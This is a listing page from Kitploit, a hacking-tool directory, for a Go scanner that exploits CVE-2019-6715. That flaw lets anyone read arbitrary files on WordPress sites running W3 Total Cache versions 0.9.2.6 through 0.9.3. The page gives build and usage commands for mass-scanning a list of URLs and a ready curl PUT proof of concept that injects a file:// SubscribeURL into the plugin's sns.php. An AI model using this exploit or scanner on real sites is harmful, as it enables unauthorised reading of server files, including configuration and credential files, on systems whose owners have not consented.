Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2019-6715 | Kitploit
Tools/GitHubGitHub/random-robbie/cve-2019-6715
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubrandom-robbie/cve-2019-6715

cve-2019-6715

View Repository
1136 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cve-2019-6715

Shout out to TomNomNom for 99.9% of his code....

Build

root@kitploit:~
go get github.com/fatih/color
go build

Usage

root@kitploit:~
cat list.txt | ./2019-6715

All vuln urls are logged in text.log

CVE 2019-6715

Description: pub/sns.php in the W3 Total Cache plugin before 0.9.4 for WordPress allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data.

Vulnerability Type: arbitrary file read

Vendor of Product: Wordpress W3 Total Cache plugin by Frederick Townes

Affected Product Code Base: W3 Total Cache - 0.9.2.6 - 0.9.3, fixed in 0.9.4

Affected Component: Affected source code file: w3-total-cache/pub/sns.php

Exploit - PoC:

root@kitploit:~
curl -X PUT --data '{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"file://file_path"}' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36' http://victim.com/wp-content/plugins/w3-total-cache/pub/sns.php
Download Tool